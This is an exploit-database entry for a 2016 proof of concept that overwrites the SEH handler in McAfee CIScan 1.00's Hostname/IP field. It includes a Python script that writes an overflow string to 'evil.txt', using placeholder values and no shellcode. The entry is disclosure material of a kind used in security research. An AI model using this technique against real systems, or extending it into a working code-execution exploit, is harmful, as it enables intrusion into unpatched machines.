header-logo
Suggest Exploit
vendor:
CIScan
by:
Nipun Jaswal
7,5
CVSS
HIGH
SEH Overwrite POC
119
CWE
Product Name: CIScan
Affected Version From: 1.00
Affected Version To: 1.00
Patch Exists: YES
Related CWE: N/A
CPE: a:mcafee:ciscan:1.00
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 Home Basic
2016

CIScanv1.00 Hostname/IP Field SEH Overwrite POC

A buffer overflow vulnerability exists in CIScanv1.00 Hostname/IP Field, which allows an attacker to overwrite the SEH frame and execute arbitrary code. The vulnerability is caused due to the lack of proper validation of user-supplied input when handling Hostname/IP Field. An attacker can exploit this vulnerability by supplying a malicious input to the Hostname/IP Field, which will overwrite the SEH frame and execute arbitrary code.

Mitigation:

Upgrade to the latest version of CIScanv1.00 or apply the appropriate patch.
Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title     : CIScanv1.00 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Nipun Jaswal
# Email             : mail@nipunjaswal.info
# Discovery Date    : 11/05/2016
# Software Link     : http://www.mcafee.com/us/downloads/free-tools/ciscan.aspx
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows 7 Home Basic
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################

#SEH chain of main thread
#Address    SE handler
#0012FA98   43434343
#42424242   *** CORRUPT ENTRY ***

# Offset to the SEH Frame is 536
buffer = "A"*536
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code, Generally P/P/R Address
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()